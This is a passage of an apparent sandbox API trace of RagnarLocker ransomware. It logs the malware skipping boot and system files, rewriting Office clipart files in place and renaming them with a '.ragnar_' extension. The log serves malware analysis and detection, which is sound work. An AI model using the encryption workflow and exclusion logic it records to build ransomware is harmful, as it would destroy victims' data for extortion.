dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x30f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.119] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x30f0, lpOverlapped=0x0) returned 1 [0085.120] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x30f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.120] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.120] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x30f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.120] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.120] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.120] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.120] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.120] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.120] GetProcessHeap () returned 0x580000 [0085.120] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.120] CloseHandle (hObject=0xf4) returned 1 [0085.120] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" [0085.120] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.ragnar_FD7BD9FC" [0085.120] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.121] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x560, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0156537.WMF", cAlternateFileName="")) returned 1 [0085.121] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.121] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0156537.WMF" | out: lpString1="J0156537.WMF") returned="J0156537.WMF" [0085.121] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned=".WMF" [0085.121] lstrcmpiW (lpString1="J0156537.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.121] lstrcmpiW (lpString1="J0156537.WMF", lpString2="autorun.inf") returned 1 [0085.121] lstrcmpiW (lpString1="J0156537.WMF", lpString2="boot.ini") returned 1 [0085.121] lstrcmpiW (lpString1="J0156537.WMF", lpString2="bootfont.bin") returned 1 [0085.121] lstrcmpiW (lpString1="J0156537.WMF", lpString2="bootsect.bak") returned 1 [0085.121] lstrcmpiW (lpString1="J0156537.WMF", lpString2="bootmgr") returned 1 [0085.121] lstrcmpiW (lpString1="J0156537.WMF", lpString2="bootmgr.efi") returned 1 [0085.121] lstrcmpiW (lpString1="J0156537.WMF", lpString2="bootmgfw.efi") returned 1 [0085.122] lstrcmpiW (lpString1="J0156537.WMF", lpString2="desktop.ini") returned 1 [0085.122] lstrcmpiW (lpString1="J0156537.WMF", lpString2="iconcache.db") returned 1 [0085.122] lstrcmpiW (lpString1="J0156537.WMF", lpString2="ntldr") returned -1 [0085.122] lstrcmpiW (lpString1="J0156537.WMF", lpString2="ntuser.dat") returned -1 [0085.122] lstrcmpiW (lpString1="J0156537.WMF", lpString2="ntuser.dat.log") returned -1 [0085.122] lstrcmpiW (lpString1="J0156537.WMF", lpString2="ntuser.ini") returned -1 [0085.122] lstrcmpiW (lpString1="J0156537.WMF", lpString2="thumbs.db") returned -1 [0085.122] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.122] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.122] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.122] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.122] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.122] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.122] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf")) returned 0x20 [0085.123] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.123] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1376) returned 1 [0085.123] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x557, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.123] GetProcessHeap () returned 0x580000 [0085.123] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.123] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.124] VirtualAlloc (lpAddress=0x0, dwSize=0x560, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.125] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.125] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.125] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x560, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x560, lpOverlapped=0x0) returned 1 [0085.125] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.125] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x560, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.125] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x560, lpOverlapped=0x0) returned 1 [0085.125] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x560, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.125] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.125] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x560, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.125] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.125] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.128] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.128] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.128] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.128] GetProcessHeap () returned 0x580000 [0085.128] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.128] CloseHandle (hObject=0xf4) returned 1 [0085.128] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" [0085.128] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.ragnar_FD7BD9FC" [0085.128] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.129] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb66e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157167.WMF", cAlternateFileName="")) returned 1 [0085.129] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.129] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0157167.WMF" | out: lpString1="J0157167.WMF") returned="J0157167.WMF" [0085.129] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned=".WMF" [0085.129] lstrcmpiW (lpString1="J0157167.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.129] lstrcmpiW (lpString1="J0157167.WMF", lpString2="autorun.inf") returned 1 [0085.129] lstrcmpiW (lpString1="J0157167.WMF", lpString2="boot.ini") returned 1 [0085.129] lstrcmpiW (lpString1="J0157167.WMF", lpString2="bootfont.bin") returned 1 [0085.129] lstrcmpiW (lpString1="J0157167.WMF", lpString2="bootsect.bak") returned 1 [0085.129] lstrcmpiW (lpString1="J0157167.WMF", lpString2="bootmgr") returned 1 [0085.129] lstrcmpiW (lpString1="J0157167.WMF", lpString2="bootmgr.efi") returned 1 [0085.129] lstrcmpiW (lpString1="J0157167.WMF", lpString2="bootmgfw.efi") returned 1 [0085.129] lstrcmpiW (lpString1="J0157167.WMF", lpString2="desktop.ini") returned 1 [0085.129] lstrcmpiW (lpString1="J0157167.WMF", lpString2="iconcache.db") returned 1 [0085.129] lstrcmpiW (lpString1="J0157167.WMF", lpString2="ntldr") returned -1 [0085.129] lstrcmpiW (lpString1="J0157167.WMF", lpString2="ntuser.dat") returned -1 [0085.129] lstrcmpiW (lpString1="J0157167.WMF", lpString2="ntuser.dat.log") returned -1 [0085.129] lstrcmpiW (lpString1="J0157167.WMF", lpString2="ntuser.ini") returned -1 [0085.129] lstrcmpiW (lpString1="J0157167.WMF", lpString2="thumbs.db") returned -1 [0085.129] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.129] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.129] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.129] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.129] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.130] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.130] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf")) returned 0x20 [0085.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.131] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=46702) returned 1 [0085.131] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb665, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.131] GetProcessHeap () returned 0x580000 [0085.131] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.131] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.132] VirtualAlloc (lpAddress=0x0, dwSize=0xb66e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.133] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.133] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.133] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb66e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb66e, lpOverlapped=0x0) returned 1 [0085.134] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.135] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb66e, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.135] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb66e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb66e, lpOverlapped=0x0) returned 1 [0085.135] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb66e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.135] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.135] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb66e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.135] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.135] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.136] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.136] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.136] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.136] GetProcessHeap () returned 0x580000 [0085.136] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.136] CloseHandle (hObject=0xf4) returned 1 [0085.136] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" [0085.136] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.ragnar_FD7BD9FC" [0085.136] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.137] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x54d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157177.WMF", cAlternateFileName="")) returned 1 [0085.137] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.137] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0157177.WMF" | out: lpString1="J0157177.WMF") returned="J0157177.WMF" [0085.137] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned=".WMF" [0085.137] lstrcmpiW (lpString1="J0157177.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.137] lstrcmpiW (lpString1="J0157177.WMF", lpString2="autorun.inf") returned 1 [0085.137] lstrcmpiW (lpString1="J0157177.WMF", lpString2="boot.ini") returned 1 [0085.137] lstrcmpiW (lpString1="J0157177.WMF", lpString2="bootfont.bin") returned 1 [0085.137] lstrcmpiW (lpString1="J0157177.WMF", lpString2="bootsect.bak") returned 1 [0085.137] lstrcmpiW (lpString1="J0157177.WMF", lpString2="bootmgr") returned 1 [0085.137] lstrcmpiW (lpString1="J0157177.WMF", lpString2="bootmgr.efi") returned 1 [0085.137] lstrcmpiW (lpString1="J0157177.WMF", lpString2="bootmgfw.efi") returned 1 [0085.137] lstrcmpiW (lpString1="J0157177.WMF", lpString2="desktop.ini") returned 1 [0085.137] lstrcmpiW (lpString1="J0157177.WMF", lpString2="iconcache.db") returned 1 [0085.137] lstrcmpiW (lpString1="J0157177.WMF", lpString2="ntldr") returned -1 [0085.137] lstrcmpiW (lpString1="J0157177.WMF", lpString2="ntuser.dat") returned -1 [0085.137] lstrcmpiW (lpString1="J0157177.WMF", lpString2="ntuser.dat.log") returned -1 [0085.137] lstrcmpiW (lpString1="J0157177.WMF", lpString2="ntuser.ini") returned -1 [0085.137] lstrcmpiW (lpString1="J0157177.WMF", lpString2="thumbs.db") returned -1 [0085.137] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.137] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.137] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.137] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.137] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.137] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.137] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf")) returned 0x20 [0085.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.138] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=21716) returned 1 [0085.138] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x54cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.138] GetProcessHeap () returned 0x580000 [0085.138] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.138] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.140] VirtualAlloc (lpAddress=0x0, dwSize=0x54d4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.140] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.140] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.140] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x54d4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x54d4, lpOverlapped=0x0) returned 1 [0085.141] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.141] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x54d4, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.141] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x54d4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x54d4, lpOverlapped=0x0) returned 1 [0085.142] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x54d4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.142] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.142] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x54d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.142] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.142] WriteFile (in: hFile=0xf4, 